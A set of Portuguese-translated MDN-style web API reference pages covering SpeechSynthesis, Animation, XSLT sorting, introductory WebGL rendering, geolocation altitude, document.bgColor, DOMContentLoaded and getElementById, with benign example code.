{"title":"SpeechSynthesis - APIs da Web","text":"SpeechSynthesis\n===============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface **`SpeechSynthesis`** da Web Speech API (en-US) é a interface controladora para o serviço de fala; este pode ser usado para obter informações sobre as vozes sintetizadas disponíveis no dispositivo, reproduzir e pausar uma elocução, além de outros comandos.\n\nPropriedades\n------------\n\n*`SpeechSynthesis` também herda propriedades da sua interface pai, `EventTarget`.*\n\n`SpeechSynthesis.paused` (en-US) Somente leitura \n\nUm `Boolean` (en-US) que retorna `true` se o objeto `SpeechSynthesis` está em estado de pausa.\n\n`SpeechSynthesis.pending` (en-US) Somente leitura \n\nUm `Boolean` (en-US) que retorna `true` se a fila de elocuções contém falas que ainda não foram reproduzidas.\n\n`SpeechSynthesis.speaking` (en-US) Somente leitura \n\nUm `Boolean` (en-US) que retorna `true` se uma elocução está sendo reproduzida atualmente — mesmo que `SpeechSynthesis` esteja em estado de pausa.\n\n### Tratamento de eventos\n\n`SpeechSynthesis.onvoiceschanged` (en-US)\n\nDisparado quando a lista de objetos `SpeechSynthesisVoice` (en-US) que pode ser retornada pelo método `SpeechSynthesis.getVoices()` (en-US) mudou.\n\nMétodos\n-------\n\n*`SpeechSynthesis` também herda métodos da sua interface pai, `EventTarget`.*\n\n`SpeechSynthesis.cancel()` (en-US)\n\nRemove todas as elocuções da fila para reprodução.\n\n`SpeechSynthesis.getVoices()` (en-US)\n\nRetorna uma lista de objetos `SpeechSynthesisVoice` (en-US) representando todas as vozes disponíveis no dispositivo atuall\n\n`SpeechSynthesis.pause()` (en-US)\n\nDeixa o objeto `SpeechSynthesis` em estado de pausa.\n\n`SpeechSynthesis.resume()` (en-US)\n\nRetira o estado de pausa do objeto `SpeechSynthesis`: retoma a reprodução se ele estiver pausado.\n\n`SpeechSynthesis.speak()` (en-US)\n\nAdiciona uma `utterance` (en-US) à fila de reprodução; ela será reproduzida assim que todas as elocuções enfileiradas anteriormente tenham sido reproduzidas.\n\nExemplos\n--------\n\nNa nossa demonstração básica Speech synthesiser demo, nós primeiro pegamos uma referência para o controlador SpeechSynthesis usando `window.speechSynthesis`. Após definir algumas variáveis necessárias, nós obtemos uma lista de vozes disponíveis usando o método `SpeechSynthesis.getVoices()` (en-US) usando-as para popular um menu de seleção de forma que o usuário possa escolher a voz que desejar.\n\nDentro do tratamento `inputForm.onsubmit`, nós impedimos a submissão do formulário com preventDefault(), instanciamos uma `SpeechSynthesisUtterance` (en-US) contendo o texto presente no `<input>`, atribuímos a voz da elocução para a voz selecionada no elemento `<select>`, e iniciamos a reprodução da elocução através do método `SpeechSynthesis.speak()` (en-US).\n\n\n```js\nvar synth = window.speechSynthesis;\n\nvar inputForm = document.querySelector(\"form\");\nvar inputTxt = document.querySelector(\".txt\");\nvar voiceSelect = document.querySelector(\"select\");\n\nvar pitch = document.querySelector(\"#pitch\");\nvar pitchValue = document.querySelector(\".pitch-value\");\nvar rate = document.querySelector(\"#rate\");\nvar rateValue = document.querySelector(\".rate-value\");\n\nvar voices = [];\n\nfunction populateVoiceList() {\n  voices = synth.getVoices();\n\n  for (i = 0; i < voices.length; i++) {\n    var option = document.createElement(\"option\");\n    option.textContent = voices[i].name + \" (\" + voices[i].lang + \")\";\n\n    if (voices[i].default) {\n      option.textContent += \" -- DEFAULT\";\n    }\n\n    option.setAttribute(\"data-lang\", voices[i].lang);\n    option.setAttribute(\"data-name\", voices[i].name);\n    voiceSelect.appendChild(option);\n  }\n}\n\npopulateVoiceList();\nif (speechSynthesis.onvoiceschanged !== undefined) {\n  speechSynthesis.onvoiceschanged = populateVoiceList;\n}\n\ninputForm.onsubmit = function (event) {\n  event.preventDefault();\n\n  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);\n  var selectedOption = voiceSelect.selectedOptions[0].getAttribute(\"data-name\");\n  for (i = 0; i < voices.length; i++) {\n    if (voices[i].name === selectedOption) {\n      utterThis.voice = voices[i];\n    }\n  }\n  utterThis.pitch = pitch.value;\n  utterThis.rate = rate.value;\n  synth.speak(utterThis);\n\n  inputTxt.blur();\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Speech API # tts-section |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Web Speech API (en-US)"}
{"title":"Animation - APIs da Web","text":"Animation\n=========\n\nBaseline 2022\n-------------\n\nNewly availableSince September 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface **`Animation`** da Web Animations API (en-US) representa um único player de animação e fornece controles e uma linha do tempo (timeline) para um nó de animação ou recurso.\n\nConstrutor\n----------\n\n`Animation()` (en-US)\n\nCria uma nova instância do objeto `Animation`.\n\nPropriedades\n------------\n\n`Animation.currentTime`\n\nO valor do tempo atual da animação, em milissegundos, esteja ela executando ou pausada. Se a animação não tem uma `timeline` (en-US), está inativa ou ainda não foi executada, este valor é `null`.\n\n`Animation.effect` (en-US)\n\nObtém e define o `KeyframeEffect` (en-US) associado a essa animação.\n\n`Animation.finished` (en-US) Somente leitura \n\nRetorna a `Primise` de finalização atual para essa animação.\n\n`Animation.id` (en-US)\n\nObtém e define a `String` usada para identificar a animação.\n\n`Animation.oncancel` (en-US)\n\nObtém e define o manipulador para o evento `cancel`.\n\n`Animation.onfinish` (en-US)\n\nObtém e define o manipulador para o evento `finish`.\n\n`Animation.playState` Somente leitura \n\nRetorna um valor enumerado descrevendo o estado de execução de uma animação.\n\n`Animation.playbackRate` (en-US)\n\nObtém ou define a taxa de execução da animação.\n\n`Animation.ready` (en-US) Somente leitura \n\nRetorna a promessa atual para quando essa animação estiver pronta.\n\n`Animation.startTime` (en-US)\n\nObtém ou define o tempo agendado quando a execução de uma animação deve começar.\n\n`Animation.timeline` (en-US)\n\nObtém ou define a `timeline` (en-US) associada a essa animação.\n\nMétodos\n-------\n\n`Animation.cancel()`\n\nLimpa todos os `keyframeEffects` (en-US) causados por essa animação e aborta sua execução.\n\n`Animation.finish()` (en-US)\n\nVai até um dos extremos dessa animação, dependendo se ela está executando ou retornando.\n\n`Animation.pause()` (en-US)\n\nSuspende a execução de uma animação.\n\n`Animation.play()` (en-US)\n\nInicia ou continua a execução de uma animação ou a recomeça se ela tiver terminado anteriormente.\n\n`Animation.reverse()` (en-US)\n\nMove a animação ao contrário, parando no início da animação.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Animations # the-animation-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Exemplo Avançado - APIs da Web","text":"Exemplo Avançado\n================\n\nExemplo Avançado\n----------------\n\nO exemplo avançado apresentará vários tipos de divs baseado em seu conteúdo. O exemplo permite tipificar o conteúdo muitas vezes, alternando entre tipos ascendente ou descendente. O JavaScript apenas carrega o arquivo .xsl a primeira vez, e prepara a variável `xslloaded` verdadeira (true) assim que o arquivo tiver terminado de carregar. Usando o método `getParameter` no obejto `XSLTProcessor`, o código pode decidir pelo tipo ascendente ou descendente. Se o parâmetro estiver vazio o padrão é ascendente (primeira vezes que o tipo aparece, como não há valor para isto no aarquivo XSLT). O valor do tipo é colocado usando `setParameter`.\n\nThe XSLT file has a parameter called `myOrder` that JavaScript sets to change the sorting method. The `xsl:sort` element's order attribute can access the value of the parameter using `$myOrder`. However, the value needs to be an XPATH expression and not a string, so `{$myOrder}` is used. Using {} evaluates the content as an XPath expression.\n\nOnce the transformation is complete, the result is appened to the document, as shown in this example.\n\n**Figure 7 : Sorting based on div contentview example.**\n\n\n```js\n// XHTML Fragment:\n\n<div id=\"example\">\n  <div>1</div>\n  <div>2</div>\n  <div>3</div>\n  <div>4</div>\n  <div>5</div>\n  <div>6</div>\n  <div>7</div>\n  <div>8</div>\n  <div>9</div>\n  <div>10</div>\n</div>\n\n// JavaScript\n\nvar xslRef;\nvar xslloaded = false;\nvar xsltProcessor = new XSLTProcessor();\nvar myDOM;\n\nvar xmlRef = document.implementation.createDocument(\"\", \"\", null);\n\nfunction sort() {\n  if (!xslloaded){\n    p = new XMLHttpRequest();\n    p.open(\"GET\", \"example2.xsl\", false);\n    p.send(null);\n\n    xslRef = p.responseXML;\n    xsltProcessor.importStylesheet(xslRef);\n    xslloaded = true;\n  }\n\n  // create a new XML document in memory\n  xmlRef = document.implementation.createDocument(\"\", \"\", null);\n\n  // we want to move a part of the DOM from an HTML document to an XML document.\n  // importNode is used to clone the nodes we want to process via XSLT - true makes it do a deep clone\n  var myNode = document.getElementById(\"example\");\n  var clonedNode = xmlRef.importNode(myNode, true);\n\n  // after cloning, we append\n  xmlRef.appendChild(clonedNode);\n\n  // set the sorting parameter in the XSL file\n  var sortVal = xsltProcessor.getParameter(null, \"myOrder\");\n\n  if (sortVal == \"\" || sortVal == \"descending\")\n    xsltProcessor.setParameter(null, \"myOrder\", \"ascending\");\n  else\n    xsltProcessor.setParameter(null, \"myOrder\", \"descending\");\n\n  // initiate the transformation\n  var fragment = xsltProcessor.transformToFragment(xmlRef, document);\n\n  // clear the contents\n  document.getElementById(\"example\").innerHTML = \"\";\n\n  myDOM = fragment;\n  // add the new content from the transformation\n  document.getElementById(\"example\").appendChild(fragment)\n}\n\n// XSL Stylesheet:\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xsl:stylesheet version=\"1.0\" xmlns=\"https://www.w3.org/1999/xhtml\" xmlns:html=\"https://www.w3.org/1999/xhtml\" xmlns:xsl=\"https://www.w3.org/1999/XSL/Transform\">\n  <xsl:output method=\"html\" indent=\"yes\" />\n\n  <xsl:param name=\"myOrder\" />\n\n  <xsl:template match=\"/\">\n\n    <xsl:apply-templates select=\"/div//div\">\n      <xsl:sort select=\".\" data-type=\"number\" order=\"{$myOrder}\" />\n    </xsl:apply-templates>\n  </xsl:template>\n\n  <xsl:template match=\"div\">\n    <xsl:copy-of select=\".\" />\n  </xsl:template>\n</xsl:stylesheet>\n```"}
{"title":"Adicionando conteúdo 2D a um contexto WebGL - APIs da Web","text":"Adicionando conteúdo 2D a um contexto WebGL\n===========================================\n\n* « Previous\n* Next » (en-US)\n\nUma vez que você tenha criado um contexto WebGL com sucesso, você pode iniciar a renderizar nele. O mais simples que podemos fazer é desenhar um objeto 2D não texturizado. Então vamos começar por aí, construindo o código necessário para se desenhar um quadrado.\n\nDesenhando a cena\n-----------------\n\nA coisa mais importante para se entender antes de começarmos é que, mesmo que estejamos só renderizando um objeto bidimensional nesse exemplo, nós ainda estamos desenhamos em um espaço 3d. Portanto, ainda precisamos estabelecer os shaders que irão criar a cor para a nossa cena simples, assim como desenhar o objeto. Eles irão estabelecer como o quadrado irá aparecer na tela.\n\n### Inicializando os shaders\n\nShaders são especificados ao usar a Linguagem de Shading OpenGL ES. Com o intuito de tornar mais fácil para manter e atualizar nosso conteúdo, nós podemos escrever nosso código que carrega os shaders para buscá-los no documento HTML, ao invés de termos de criar tudo em JavaScript. Vamos dar uma olhada na nossa rotina `initShaders()`, que cuida dessa tarefa:\n\n\n```js\nfunction initShaders() {\n  var fragmentShader = getShader(gl, \"shader-fs\");\n  var vertexShader = getShader(gl, \"shader-vs\");\n\n  // Cria o progrma shader\n\n  shaderProgram = gl.createProgram();\n  gl.attachShader(shaderProgram, vertexShader);\n  gl.attachShader(shaderProgram, fragmentShader);\n  gl.linkProgram(shaderProgram);\n\n  // Se falhar ao criar o progrma shader, alerta\n\n  if (!gl.getProgramParameter(shaderProgram, gl.LINK\\_STATUS)) {\n    alert(\"Não foi possível inicializar o programa shader.\");\n  }\n\n  gl.useProgram(shaderProgram);\n\n  vertexPositionAttribute = gl.getAttribLocation(\n    shaderProgram,\n    \"aVertexPosition\",\n  );\n  gl.enableVertexAttribArray(vertexPositionAttribute);\n}\n```\n\n\nDois programas estão sendo inicializados por essa rotina; o primeiro, fragment shader, é carregado a partir do elemento HTML com o id \"shader-fs\". O segundo, vertex shader, é carregado pelo elemento HTML com o id \"shader-vs\". Nós vamos analisar a função getShader() no próximo tutorial; Essa rotina, na verdade, lida com a parte de puxar os programas shader da DOM.\n\nEntão nós criamos o programa shader chamando do objeto WebGL a função createProgram(), anexamos dois shaders nele e fazemos o link com o programa shader. Depois de fazer isso, o parametro LINK\\_STATUS do objeto g1 é checado para ter certeza de que o link foi criado com sucesso; Se sim, nós ativamos o novo programa shader.\n\n### Carregando os shaders da DOM\n\n`A rotina getShader()` busca um programa shader com o nome específico do DOM, retornando o programa shader compilado para o requisitante, ou null se ele não pode ser carregado ou compilado.\n\n\n```js\nfunction getShader(gl, id) {\n  var shaderScript, theSource, currentChild, shader;\n\n  shaderScript = document.getElementById(id);\n\n  if (!shaderScript) {\n    return null;\n  }\n\n  theSource = \"\";\n  currentChild = shaderScript.firstChild;\n\n  while(currentChild) {\n    if (currentChild.nodeType == currentChild.TEXT\\_NODE) {\n      theSource += currentChild.textContent;\n    }\n\n    currentChild = currentChild.nextSibling;\n  }\n```\n\n\nUma vez que o elemento com o ID específico é encontrado, seu texto é lido na variável theSource.\n\n\n```js\nif (shaderScript.type == \"x-shader/x-fragment\") {\n  shader = gl.createShader(gl.FRAGMENT\\_SHADER);\n} else if (shaderScript.type == \"x-shader/x-vertex\") {\n  shader = gl.createShader(gl.VERTEX\\_SHADER);\n} else {\n  // Tipo de shader desconhecido\n  return null;\n}\n```\n\n\nUma vez que o código para o shader tenha sido lido, nós observamos o tipo MIME do objeto shader para determinar se é um sombreamento de vértice (MIME type \"x-shader/x-vertex\") ou um fragmento de shader (MIME type \"x-shader/x-fragment\"), em seguinda crie um tipo de shader apropriado para a partir do código fonte recuperado.\n\n\n```js\n  gl.shaderSource(shader, theSource);\n\n  // Compile o programa shader\n  gl.compileShader(shader);\n\n  // Veja se ele compila com sucesso\n  if (!gl.getShaderParameter(shader, gl.COMPILE\\_STATUS)) {\n      alert(\"Um erro ocorreu ao compilar os shaders: \" + gl.getShaderInfoLog(shader));\n      return null;\n  }\n\n  return shader;\n}\n```\n\n\nFinalmente, a fonte é passada para o shader e compilada. Se um erro ocorrer enquanto o shader estiver compilando, nós mostraremos um alerta e retornaremos null; Caso contrário, o shader recém compilado é retornado para o requisitante.\n\n### Os shaders\n\nAgora, nós precisamos adicionar os programas shaders ao HTML para descrever nosso documento. Os detalhes sobre como os shaders trabalham estão além do escopo deste artigo, assim como a sintaxe da linguagem do shader.\n\n#### Fragmentos shader\n\nCada pixel é um poligono chamado de fragmento (fragment) na linguagem GL. O trabalho do fragmento de shader é estabelecer a cor de cada pixel. Ness caso, nós estamos apenas definindo a cor branca para cada pixel.\n\ng1\\_FragColor é um construtor de variável GL que é utilizado para a cor do fragmento. Altere seu valor para definir a cor do pixel, como mostrado abaixo.\n\n\n```html\n<script id=\"shader-fs\" type=\"x-shader/x-fragment\">\n void main(void) {\n gl\\_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n }\n</script>\n```\n\n\n#### Vértice do shader\n\nA vértice (vertex) do shader define a posição e a forma de cada vértice.\n\n\n```html\n<script id=\"shader-vs\" type=\"x-shader/x-vertex\">\n attribute vec3 aVertexPosition;\n\n uniform mat4 uMVMatrix;\n uniform mat4 uPMatrix;\n\n void main(void) {\n gl\\_Position = uPMatrix \\* uMVMatrix \\* vec4(aVertexPosition, 1.0);\n }\n</script>\n```\n\nCriando um objeto\n-----------------\n\nBefore we can render our square, we need to create the buffer that contains its vertices. We'll do that using a function we call `initBuffers()`; as we explore more advanced WebGL concepts, this routine will be augmented to create more — and more complex — 3D objects.\n\n\n```js\nvar horizAspect = 480.0 / 640.0;\n\nfunction initBuffers() {\n  squareVerticesBuffer = gl.createBuffer();\n  gl.bindBuffer(gl.ARRAY\\_BUFFER, squareVerticesBuffer);\n\n  var vertices = [\n    1.0, 1.0, 0.0, -1.0, 1.0, 0.0, 1.0, -1.0, 0.0, -1.0, -1.0, 0.0,\n  ];\n\n  gl.bufferData(gl.ARRAY\\_BUFFER, new Float32Array(vertices), gl.STATIC\\_DRAW);\n}\n```\n\n\nThis routine is pretty simplistic given the basic nature of the scene in this example. It starts by calling the `gl` object's `createBuffer()` method to obtain a buffer into which we'll store the vertices. This is then bound to the context by calling the `bindBuffer()` method.\n\nOnce that's done, we create a JavaScript array containing the coordinates for each vertex of the square. This is then converted into an array of WebGL floats and passed into the `gl` object's `bufferData()` method to establish the vertices for the object.\n\nDesenhando a cena\n-----------------\n\nOnce the shaders are established and the object constructed, we can actually render the scene. Since we're not animating anything in this example, our `drawScene()` function is very simple. It uses a few utility routines we'll cover shortly.\n\n\n```js\nfunction drawScene() {\n  gl.clear(gl.COLOR\\_BUFFER\\_BIT | gl.DEPTH\\_BUFFER\\_BIT);\n\n  perspectiveMatrix = makePerspective(45, 640.0 / 480.0, 0.1, 100.0);\n\n  loadIdentity();\n  mvTranslate([-0.0, 0.0, -6.0]);\n\n  gl.bindBuffer(gl.ARRAY\\_BUFFER, squareVerticesBuffer);\n  gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);\n  setMatrixUniforms();\n  gl.drawArrays(gl.TRIANGLE\\_STRIP, 0, 4);\n}\n```\n\n\nThe first step is to clear the context to our background color; then we establish the camera's perspective. We set a field of view of 45°, with a width to height ratio of 640/480 (the dimensions of our canvas). We also specify that we only want objects between 0.1 and 100 units from the camera to be rendered.\n\nThen we establish the position of the square by loading the identity position and translating away from the camera by 6 units. After that, we bind the square's vertex buffer to the context, configure it, and draw the object by calling the `drawArrays()` method.\n\nView the complete code | Open this demo on a new page\n\nOperações úteis da Matrix\n-------------------------\n\nMatrix operations are complicated enough. Nobody really wants to write all the code needed to handle them on their own. Fortunately, there's Sylvester, a very handy library for handling vector and matrix operations from JavaScript.\n\nThe `glUtils.js` file used by this demo is used by a number of WebGL demos floating around on the Web. Nobody seems entirely clear on where it came from, but it does simplify the use of Sylvester even further by adding methods for building special types of matrices, as well as outputting HTML for displaying them.\n\nIn addition, this demo defines a few helpful routines to interface with these libraries for specific tasks. What exactly they do is beyond the scope of this demo, but there are plenty of good references on matrices available online; see the See also section for a list of a few.\n\n\n```js\nfunction loadIdentity() {\n  mvMatrix = Matrix.I(4);\n}\n\nfunction multMatrix(m) {\n  mvMatrix = mvMatrix.x(m);\n}\n\nfunction mvTranslate(v) {\n  multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());\n}\n\nfunction setMatrixUniforms() {\n  var pUniform = gl.getUniformLocation(shaderProgram, \"uPMatrix\");\n  gl.uniformMatrix4fv(\n    pUniform,\n    false,\n    new Float32Array(perspectiveMatrix.flatten()),\n  );\n\n  var mvUniform = gl.getUniformLocation(shaderProgram, \"uMVMatrix\");\n  gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));\n}\n```\n\nVer Também\n----------\n\n* Matrices on Wolfram MathWorld\n* Matriz na Wikipedia\n* « Previous\n* Next » (en-US)"}
{"title":"Começando com WebGL - APIs da Web","text":"Começando com WebGL\n===================\n\n* Next »\n\nWebGL permite que o contéudo web use uma API baseada em OpenGL ES 2.0 para realizar renderização 3D em um `canvas` HTML em browsers que o suportam sem o uso de plugins. Programas WebGL consistem em um código de controle escrito em JavaScript e códigos de efeitos especiais (shader code) que é executado na Unidade Gráfica de Processamento (GPU) de um computador. Elementos WebGL podem ser utilizados junto com outros elementos HTML e com outras partes da página ou do fundo.\n\nEsse artigo vai introduzir o básico sobre o uso do WebGL. Acredita-se que você já possui entendimento da matemática que envolve os gráficos 3D, e que este artigo não tem a pretensão de tentar ensinar-lhe OpenGL em si.\n\nOs exemplos de código deste tutorial também podem ser encontrados no Exemplos de WebGL no repositório do GitHub.\n\nPreparando-se para renderizar em 3D\n-----------------------------------\n\nA primeira coisa que você precisa para para renderização do WebGL, é a inicialização do canvas. O fragmento HTML abaixo declara um canvas em que nosso exemplo será desenhado.\n\n\n```html\n<body>\n  <canvas id=\"glCanvas\" width=\"640\" height=\"480\"></canvas>\n</body>\n```\n\n### Preparando o contexto WebGL\n\nA função `main()` em nosso código JavaScript é chamada quando nosso script é carregado. O objetivo é configurar o contexto do WebGL e começar a renderizar o conteúdo.\n\n\n```js\nmain();\n\n//\n// começa aqui\n//\nfunction main() {\n  const canvas = document.querySelector(\"#glCanvas\");\n  // Inicializa o contexto GL\n  const gl = canvas.getContext(\"webgl\");\n\n  // Só continua se o WebGL estiver disponível e funcionando\n  if (!gl) {\n    alert(\n      \"Incapaz de inicializar o WebGL.Seu navegador ou sua máquina não suporta.\",\n    );\n    return;\n  }\n\n  // Define a cor para preto totalmente opaca (sem transparência)\n  gl.clearColor(0.0, 0.0, 0.0, 1.0);\n  // Limpa o buffer de cores com uma cor específica\n  gl.clear(gl.COLOR\\_BUFFER\\_BIT);\n}\n```\n\n\nA primeira coisa que nós fazemos aqui é obter a referência para o canvas, atribuindo-a para a variável chamada `canvas`.\n\nUma vez que nós temos o canvas, nós tentamos obter um WebGLRenderingContext (en-US) para ele chamando o getContext e passando a string `\"webgl\"`. Se o browser não suportar o webgl `getContext` vai retornar `null` nesse caso nós mostraremos uma mensagem para o usuário e sair.\n\nSe o contexto for inicializado com sucesso, a variável `gl` é nossa referência para ele. Nesse caso, nós altermos a cor para preto, e o contexto para aquela cor (redesenhando o canvas com a cor de fundo).\n\nNesse ponto, você tem código suficiente para o contexto WebGL ser inicializado com sucesso, e você deve visualizar uma grande caixa preta vazia, pronta e esperando para receber conteúdo.\n\nVeja o código completo | Abra a demo em uma nova página\n\nVeja também\n-----------\n\n* Uma introdução ao WebGL: Escrito por Luz Caballero, publicado por dev.opera.com. Esse artigo direciona sobre o que o WebGL é, explicando como o WebGL funciona (incluindo o conceito de pipeline de renderização), e introduz algumas bibliotecas do WebGL.\n* Fundamentos do WebGL\n* Uma introdução para o OpenGL moderno: Uma séroe de bons artigos sobre OpenGL escrita por Joe Groff, provendo uma introdução clara para o OpenGL a partir de sua história até os importantes conceitos de pipeline de gráficos, e também inclui alguns exemplos demonstrativos sobre como o OpenGL funciona. Se você não tem ideia do que seja OpenGL, esse é um bom lugar para começar.\n* Next »"}
{"title":"Coordinates.altitude - APIs da Web","text":"Coordinates.altitude\n====================\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\nA propriedade **`Coordinates.altitude`** somente-leitura é uma representação do tipo double da altitude em metros, relativo ao nível do mar. O valor é nulo se a implementação não pode fornecer este dado.\n\nSintaxe\n-------\n```\n\nalt = coordinates.altitude\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # altitude-and-altitudeaccuracy-attributes |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using geolocation (en-US)\n* The `Coordinates` interface it belongs to."}
{"title":"Document.bgColor - APIs da Web","text":"Document.bgColor\n================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nA propriedade obsoleta `bgColor` obtém ou atribue a cor de fundo do documento atual.\n\nSintaxe\n-------\n```\n\ncolor = document.bgColor\ndocument.bgColor = color\n```\n\n### Parâmetros\n\n* `color` é uma sequência de caracteres representando a cor como uma palavra (p. ex. \"red\") ou um valor hexadecimal (p. ex. \"`#ff0000`\").\nExemplo\n-------\n```\n\ndocument.bgColor = \"darkblue\";\n```\n\nNotas\n-----\n\nO valor padrão para esta propriedade no Firefox é branco (`#ffffff` em hexadecimal).\n\n`document.bgColor` está obsoleto no DOM Level 2 HTML. A alternativa recomendada é fazer uso do atributo CSS `background-color` que pode ser acessado através do DOM com `document.body.style.backgroundColor`. Uma outra alternativa é o `document.body.bgColor`, apesar dessa também estar obsoleta no HTML 4.01 em funcão da alternativa do CSS."}
{"title":"DOMContentLoaded - APIs da Web","text":"DOMContentLoaded\n================\n\nO evento `DOMContentLoaded` é acionado quando todo o HTML foi completamente carregado e analisado, sem aguardar pelo CSS, imagens, e subframes para encerrar o carregamento. Um evento muito diferente - `load` (en-US) - deve ser usado apenas para detectar uma página completamente carregada. É um engano comum as pessoas usarem `load` (en-US) quando `DOMContentLoaded` seria muito mais apropriado.\n\n**Nota:** Javascript Síncrono pausa a análise do DOM.\n\nAcelerando\n----------\n\nSe você quer que o DOM seja analisado o mais rápido possível após uma requisição do usuário, você deve usar recursos do javascript assíncrono e otimizar o carregamento de folhas de estilo pois, caso contrário, a página será carregada mais lentamente pois muitos itens serão carregados paralelamente, atrasando a visualização da página.\n\nInformações gerais\n------------------\n\nEspecificação\n\nHTML5\n\nInterface\n\nEvent\n\nPropaga\n\nSim\n\nCancelável\n\nSim (embora especificado como evento simples não-cancelável)\n\nAlvo\n\nDocument\n\nAção Default\n\nNenhuma.\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | Alvo do evento (O topo do DOM). |\n| `type` Somente leitura  | `DOMString` | Tipo de evento |\n| `bubbles` Somente leitura  | `Boolean` | O evento é por padrão bubbles ou não. |\n| `cancelable` Somente leitura  | `Boolean` | O evento pode ser cancelado ou não. |\n\nExemplo\n-------\n\n### Básico\n\n\n```html\n<script>\n document.addEventListener(\"DOMContentLoaded\", function (event) {\n console.log(\"DOM completamente carregado e analisado\");\n });\n</script>\n```\n\n### Forçando o atraso do DOMContentLoaded\n\n\n```html\n<script>\n document.addEventListener(\"DOMContentLoaded\", function (event) {\n console.log(\"DOM completamente carregado e analisado\");\n });\n\n for (var i = 0; i < 1000000000; i++) {} // este script síncrono irá o atrasar carregamento do DOM. Então o evento DOMContentLoaded irá ser ativado mais tarde.\n</script>\n```\n\n### Verificando se o carregamento está completo\n\n`DOMContentLoaded` pode disparar antes do seu script ser carregado, então é importante validar antes de adicionar um listener.\n```\n\nfunction doSomething() {\n  console.info(\"DOM carregado\");\n}\n\nif (document.readyState === \"loading\") {  // Ainda carregando\n  document.addEventListener(\"DOMContentLoaded\", doSomething);\n} else {  // `DOMContentLoaded` foi disparado\n  doSomething();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # stop-parsing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEventos Relacionados\n--------------------\n\n* `DOMContentLoaded (en-US)`\n* `readystatechange (en-US)`\n* `load (en-US)`\n* `beforeunload (en-US)`\n* `unload (en-US)`"}
{"title":"document.getElementById() - APIs da Web","text":"document.getElementById()\n=========================\n\nSumário\n-------\n\nRetorna a referência do elemento através do seu ID.\n\nSintaxe\n-------\n```\n\nvar elemento = document.getElementById(id);\n```\n\n\nonde\n\n* `elemento` é uma referência a um objeto `Element`, ou null se um elemento com o ID especificado não estiver contido neste documento.\n* `id` é uma string que diferência maiúsculas e minúsculas representando o ID único do elemento sendo procurado.\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>Exemplo getElementById</title>\n    <script>\n function mudarCor(novaCor) {\n var elemento = document.getElementById(\"para1\");\n elemento.style.color = novaCor;\n }\n </script>\n  </head>\n  <body>\n    <p id=\"para1\">Algum texto de exemplo</p>\n    <button onclick=\"mudarCor('blue');\">Azul</button>\n    <button onclick=\"mudarCor('red');\">Vermelho</button>\n  </body>\n</html>\n```\n\nNotas\n-----\n\nOs novatos devem notar que a caixa de 'Id' no nome deste método *deve* estar correta para o código da função - 'getElementByID *não funciona*, por mais natural que possa parecer.\n\nSe não existe um elemento com o id fornecido, esta função retorna `null`. Note que o parâmetro ID diferência maiúsculas e minúsculas. Assim document.getElementById(\"Main\") retornará `null` ao invés do elemento `<div id=\"main\">`, devido a \"M\" e \"m\" serem diferentes para o objetivo deste método.\n\n**Elementos que não estão no documento** não são procurados por `getElementById`. Quando criar um elemento e atribuir um ID ao mesmo, você deve inserir o elemento na árvore do documento com `insertBefore` (en-US) ou método similar antes que você possa acessá-lo com `getElementById`:\n\n\n```js\nvar elemento = document.createElement(\"div\");\nelemento.id = \"testqq\";\nvar el = document.getElementById(\"testqq\"); // el será null!\n```\n\n\n**Documentos não-HTML.** A implementação do DOM deve ter informações que diz quais atributos são do tipo ID. Atributos com o nome \"id\" não são do tipo ID a menos que assim sejam definidos nos documentos DTD. O atributo `id` é definido para ser um tipo ID em casos comuns de XHTML, XUL, e outros. Implementações que não reconhecem se os atributos são do tipo ID, ou não são esperados retornam `null`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-nonelementparentnode-getelementbyid② |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* referências de document (en-US) para outros métodos e propriedades podem ser usados para obter referências para elementos no documento.\n* xml:id - tem um método utilitário que permite que obtenha 'xml:id' em documentos XML"}
